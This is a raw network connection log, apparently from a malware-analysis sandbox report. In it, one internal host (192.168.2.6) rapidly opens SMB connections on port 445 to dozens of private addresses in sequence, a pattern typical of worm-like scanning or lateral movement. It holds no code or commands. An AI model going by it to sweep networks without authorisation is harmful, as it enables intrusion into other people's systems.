Jul 6, 2024 14:11:33.306143999 CEST	51961	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:33.308059931 CEST	51962	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:33.309703112 CEST	445	51960	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:33.309791088 CEST	51960	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:33.309865952 CEST	51960	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:33.310554981 CEST	445	51959	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:33.310609102 CEST	51959	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:33.311499119 CEST	445	51961	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:33.311554909 CEST	51961	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:33.314944983 CEST	445	51960	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:33.315783024 CEST	445	51960	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:33.317468882 CEST	445	51961	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:33.317518950 CEST	51961	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:33.319267988 CEST	51961	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:33.319576025 CEST	51963	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:33.319747925 CEST	51964	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:33.320857048 CEST	51965	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:33.320924044 CEST	445	51962	192.168.3.116	192.168.2.6
Jul 6, 2024 14:11:33.323199987 CEST	51966	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:33.323199987 CEST	51962	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:33.323199987 CEST	51962	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:33.326450109 CEST	445	51961	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:33.326519012 CEST	445	51963	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:33.326585054 CEST	51963	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:33.326638937 CEST	51963	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:33.327203035 CEST	445	51964	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:33.327250004 CEST	51964	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:33.327328920 CEST	51964	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:33.328393936 CEST	445	51965	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:33.328438997 CEST	51965	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:33.328526020 CEST	51965	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:33.332751036 CEST	445	51966	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:33.332814932 CEST	51966	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:33.334213972 CEST	445	51962	192.168.3.116	192.168.2.6
Jul 6, 2024 14:11:33.334265947 CEST	51962	445	192.168.2.6	192.168.3.116
Jul 6, 2024 14:11:33.335304976 CEST	51966	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:33.335589886 CEST	51967	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:33.336745977 CEST	51968	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:33.336798906 CEST	445	51963	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:33.336857080 CEST	445	51963	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:33.337399006 CEST	51969	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:33.337800980 CEST	445	51964	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:33.338469982 CEST	445	51964	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:33.338826895 CEST	445	51965	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:33.338835001 CEST	445	51965	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:33.340603113 CEST	51965	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:33.341808081 CEST	445	51967	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:33.342489004 CEST	445	51968	192.168.3.118	192.168.2.6
Jul 6, 2024 14:11:33.342740059 CEST	445	51966	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:33.343369007 CEST	51967	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:33.343369007 CEST	51967	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:33.343524933 CEST	445	51966	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:33.343566895 CEST	51966	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:33.347471952 CEST	445	51969	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:33.349132061 CEST	51968	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:33.351958990 CEST	445	51967	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:33.352978945 CEST	445	51967	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:33.353306055 CEST	51969	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:33.353307009 CEST	51969	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:33.353307009 CEST	51971	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:33.357225895 CEST	51968	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:33.357225895 CEST	51972	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:33.358472109 CEST	445	51969	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:33.360129118 CEST	51970	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:33.362001896 CEST	51969	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:33.362432003 CEST	445	51968	192.168.3.118	192.168.2.6
Jul 6, 2024 14:11:33.362781048 CEST	445	51968	192.168.3.118	192.168.2.6
Jul 6, 2024 14:11:33.362910986 CEST	445	51972	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:33.364116907 CEST	445	51969	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:33.367610931 CEST	445	51970	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:33.367723942 CEST	51970	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:33.367774010 CEST	51970	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:33.368263006 CEST	51974	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:33.371028900 CEST	51968	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:33.371028900 CEST	51972	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:33.371028900 CEST	51972	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:33.371028900 CEST	51975	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:33.371236086 CEST	51973	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:33.383501053 CEST	51976	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:33.383507013 CEST	51977	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:33.383547068 CEST	445	51971	192.168.3.119	192.168.2.6
Jul 6, 2024 14:11:33.383697987 CEST	51971	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:33.383769989 CEST	51971	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:33.384212017 CEST	445	51970	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:33.385807037 CEST	445	51974	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:33.385873079 CEST	445	51973	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:33.385890007 CEST	445	51970	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:33.385965109 CEST	51974	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:33.386228085 CEST	51973	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:33.386228085 CEST	51973	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:33.386451960 CEST	51974	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:33.386832952 CEST	445	51975	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:33.386910915 CEST	51975	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:33.387315989 CEST	445	51972	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:33.389024019 CEST	445	51976	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:33.389174938 CEST	445	51977	192.168.3.121	192.168.2.6
Jul 6, 2024 14:11:33.389298916 CEST	445	51971	192.168.3.119	192.168.2.6
Jul 6, 2024 14:11:33.391305923 CEST	445	51974	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:33.391357899 CEST	51974	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:33.391392946 CEST	51976	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:33.391392946 CEST	51976	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:33.391392946 CEST	51971	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:33.391802073 CEST	445	51973	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:33.391809940 CEST	445	51973	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:33.392189026 CEST	445	51974	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:33.393416882 CEST	51972	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:33.393886089 CEST	445	51975	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:33.397660971 CEST	51978	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:33.401238918 CEST	51979	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:33.403017998 CEST	445	51976	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:33.403017044 CEST	51977	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:33.403017044 CEST	51977	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:33.403017044 CEST	51980	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:33.403500080 CEST	445	51978	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:33.404176950 CEST	51978	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:33.404176950 CEST	51978	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:33.407418013 CEST	51975	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:33.407418013 CEST	51975	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:33.408226967 CEST	51976	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:33.412986040 CEST	445	51979	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:33.413182020 CEST	51979	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:33.413182020 CEST	51979	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:33.413261890 CEST	445	51978	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:33.413377047 CEST	445	51978	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:33.414644003 CEST	445	51977	192.168.3.121	192.168.2.6
Jul 6, 2024 14:11:33.414895058 CEST	51982	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:33.415704012 CEST	445	51975	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:33.415910006 CEST	445	51977	192.168.3.121	192.168.2.6
Jul 6, 2024 14:11:33.416986942 CEST	51983	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:33.419687033 CEST	51981	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:33.419687033 CEST	51977	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:33.420154095 CEST	445	51979	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:33.420862913 CEST	445	51982	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:33.422064066 CEST	445	51980	192.168.3.122	192.168.2.6
Jul 6, 2024 14:11:33.423000097 CEST	445	51983	192.168.3.123	192.168.2.6
Jul 6, 2024 14:11:33.424761057 CEST	51979	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:33.426158905 CEST	445	51981	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:33.426460028 CEST	51982	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:33.426983118 CEST	51980	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:33.426983118 CEST	51980	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:33.426983118 CEST	51981	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:33.426983118 CEST	51981	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:33.429447889 CEST	51983	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:33.429447889 CEST	51983	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:33.430416107 CEST	51986	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:33.432202101 CEST	51984	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:33.433041096 CEST	445	51982	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:33.434092045 CEST	51985	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:33.435041904 CEST	445	51980	192.168.3.122	192.168.2.6
Jul 6, 2024 14:11:33.435975075 CEST	445	51986	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:33.436028004 CEST	51986	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:33.436563969 CEST	51980	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:33.437558889 CEST	51982	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:33.437558889 CEST	51982	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:33.438760042 CEST	445	51984	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:33.439835072 CEST	445	51985	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:33.440726995 CEST	51987	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:33.441442966 CEST	445	51986	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:33.441484928 CEST	51986	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:33.441937923 CEST	445	51981	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:33.442148924 CEST	445	51981	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:33.443245888 CEST	51984	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:33.443245888 CEST	51984	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:33.443675041 CEST	445	51982	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:33.444257975 CEST	51986	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:33.444777012 CEST	51985	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:33.444777012 CEST	51985	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:33.446211100 CEST	445	51983	192.168.3.123	192.168.2.6
Jul 6, 2024 14:11:33.446326971 CEST	51989	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:33.448548079 CEST	445	51987	192.168.3.124	192.168.2.6
Jul 6, 2024 14:11:33.448944092 CEST	445	51984	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:33.449203014 CEST	445	51986	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:33.451811075 CEST	51988	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:33.451811075 CEST	51983	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:33.451811075 CEST	51987	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:33.453713894 CEST	51984	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:33.459901094 CEST	51987	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:33.460243940 CEST	51990	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:33.461602926 CEST	51991	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:33.461616993 CEST	51992	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:33.465266943 CEST	445	51985	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:33.465285063 CEST	445	51989	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:33.465293884 CEST	445	51985	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:33.465354919 CEST	445	51984	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:33.465357065 CEST	51989	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:33.465929985 CEST	445	51988	192.168.3.125	192.168.2.6
Jul 6, 2024 14:11:33.466057062 CEST	445	51984	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:33.466270924 CEST	445	51990	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:33.467108011 CEST	51990	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:33.467108011 CEST	51990	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:33.472687960 CEST	445	51987	192.168.3.124	192.168.2.6
Jul 6, 2024 14:11:33.472744942 CEST	445	51991	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:33.472754955 CEST	445	51992	192.168.3.126	192.168.2.6
Jul 6, 2024 14:11:33.472959042 CEST	51989	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:33.473181009 CEST	51991	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:33.473181009 CEST	51991	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:33.473695040 CEST	445	51989	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:33.473743916 CEST	51989	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:33.475688934 CEST	51988	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:33.475688934 CEST	51988	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:33.475688934 CEST	51987	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:33.475688934 CEST	51992	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:33.475688934 CEST	51992	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:33.479336023 CEST	51993	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:33.479336023 CEST	51994	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:33.481548071 CEST	51995	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:33.486078024 CEST	445	51990	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:33.486134052 CEST	445	51989	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:33.486177921 CEST	445	51990	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:33.486515045 CEST	445	51991	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:33.486524105 CEST	445	51991	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:33.486615896 CEST	445	51988	192.168.3.125	192.168.2.6
Jul 6, 2024 14:11:33.486634970 CEST	445	51993	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:33.486645937 CEST	445	51994	192.168.3.127	192.168.2.6
Jul 6, 2024 14:11:33.486696959 CEST	445	51992	192.168.3.126	192.168.2.6
Jul 6, 2024 14:11:33.486732960 CEST	445	51992	192.168.3.126	192.168.2.6
Jul 6, 2024 14:11:33.487023115 CEST	445	51995	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:33.490523100 CEST	51988	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:33.490524054 CEST	51993	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:33.490524054 CEST	51994	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:33.490524054 CEST	51992	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:33.490524054 CEST	51993	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:33.490524054 CEST	51994	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:33.493736029 CEST	51997	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:33.494183064 CEST	51995	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:33.494183064 CEST	51995	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:33.496516943 CEST	51996	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:33.503674984 CEST	445	51993	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:33.503884077 CEST	445	51994	192.168.3.127	192.168.2.6
Jul 6, 2024 14:11:33.504040003 CEST	445	51997	192.168.3.128	192.168.2.6
Jul 6, 2024 14:11:33.504384995 CEST	51997	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:33.505743980 CEST	445	51993	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:33.505795956 CEST	445	51994	192.168.3.127	192.168.2.6
Jul 6, 2024 14:11:33.506798983 CEST	445	51995	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:33.507424116 CEST	445	51995	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:33.508249998 CEST	51999	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:33.509318113 CEST	52001	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:33.509807110 CEST	445	51997	192.168.3.128	192.168.2.6
Jul 6, 2024 14:11:33.510350943 CEST	445	51996	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:33.510471106 CEST	51996	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:33.511349916 CEST	51997	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:33.511349916 CEST	51997	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:33.512445927 CEST	51995	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:33.517383099 CEST	51996	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:33.517829895 CEST	51993	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:33.517829895 CEST	51994	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:33.517829895 CEST	51998	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:33.517829895 CEST	52000	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:33.519798040 CEST	445	51997	192.168.3.128	192.168.2.6
Jul 6, 2024 14:11:33.519906044 CEST	445	51999	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:33.522600889 CEST	52002	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:33.523468971 CEST	445	51996	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:33.524215937 CEST	445	51993	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:33.524226904 CEST	445	51998	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:33.524365902 CEST	445	52001	192.168.3.129	192.168.2.6
Jul 6, 2024 14:11:33.525229931 CEST	445	51996	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:33.525238991 CEST	445	52000	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:33.525551081 CEST	51998	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:33.525551081 CEST	52000	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:33.528877020 CEST	445	52002	192.168.3.1	192.168.2.6
Jul 6, 2024 14:11:33.528947115 CEST	52002	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:33.529019117 CEST	52004	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:33.529019117 CEST	52001	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:33.529263973 CEST	52003	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:33.530277967 CEST	51998	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:33.532596111 CEST	51996	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:33.534331083 CEST	445	51998	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:33.535577059 CEST	51998	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:33.536278963 CEST	445	52002	192.168.3.1	192.168.2.6
Jul 6, 2024 14:11:33.536354065 CEST	52002	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:33.536382914 CEST	445	52004	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:33.536592960 CEST	52004	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:33.536750078 CEST	445	52000	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:33.537132025 CEST	445	52001	192.168.3.129	192.168.2.6
Jul 6, 2024 14:11:33.537481070 CEST	445	51998	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:33.537847996 CEST	52001	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:33.538347006 CEST	52002	445	192.168.2.6	192.168.3.1
Jul 6, 2024 14:11:33.538428068 CEST	51999	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:33.538428068 CEST	51999	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:33.541728973 CEST	445	52003	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:33.542146921 CEST	52000	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:33.542146921 CEST	52000	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:33.544136047 CEST	445	52004	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:33.544179916 CEST	52004	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:33.545221090 CEST	445	52002	192.168.3.1	192.168.2.6
Jul 6, 2024 14:11:33.545298100 CEST	445	51999	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:33.545871019 CEST	445	51999	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:33.550134897 CEST	445	51998	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:33.551750898 CEST	445	52000	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:33.553257942 CEST	52004	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:33.553513050 CEST	52001	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:33.555984974 CEST	52005	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:33.555984974 CEST	52008	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:33.559356928 CEST	52003	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:33.559356928 CEST	52003	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:33.559818029 CEST	52006	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:33.559818029 CEST	52007	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:33.559818029 CEST	52010	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:33.559818029 CEST	52011	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:33.560314894 CEST	445	52004	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:33.560328960 CEST	445	52001	192.168.3.129	192.168.2.6
Jul 6, 2024 14:11:33.560802937 CEST	52009	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:33.560802937 CEST	52012	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:33.562760115 CEST	445	52005	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:33.562768936 CEST	445	52008	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:33.564469099 CEST	52005	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:33.564469099 CEST	52008	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:33.564469099 CEST	52005	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:33.565696001 CEST	445	52009	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:33.567040920 CEST	445	52003	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:33.567097902 CEST	52009	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:33.567097902 CEST	52009	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:33.567270994 CEST	445	52012	192.168.3.131	192.168.2.6
Jul 6, 2024 14:11:33.568065882 CEST	445	52006	192.168.3.2	192.168.2.6
Jul 6, 2024 14:11:33.568074942 CEST	445	52007	192.168.3.3	192.168.2.6
Jul 6, 2024 14:11:33.568334103 CEST	445	52010	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:33.568342924 CEST	445	52011	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:33.568418026 CEST	52006	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:33.568418026 CEST	52007	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:33.569200993 CEST	52007	445	192.168.2.6	192.168.3.3
Jul 6, 2024 14:11:33.569200993 CEST	52006	445	192.168.2.6	192.168.3.2
Jul 6, 2024 14:11:33.569200993 CEST	52010	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:33.569200993 CEST	52011	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:33.569200993 CEST	52010	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:33.569201946 CEST	52011	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:33.569838047 CEST	52014	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:33.573060036 CEST	52015	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:33.574043989 CEST	445	52007	192.168.3.3	192.168.2.6
Jul 6, 2024 14:11:33.574053049 CEST	52012	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:33.574053049 CEST	52012	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:33.574053049 CEST	52013	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:33.574392080 CEST	445	52006	192.168.3.2	192.168.2.6
Jul 6, 2024 14:11:33.574400902 CEST	445	52006	192.168.3.2	192.168.2.6
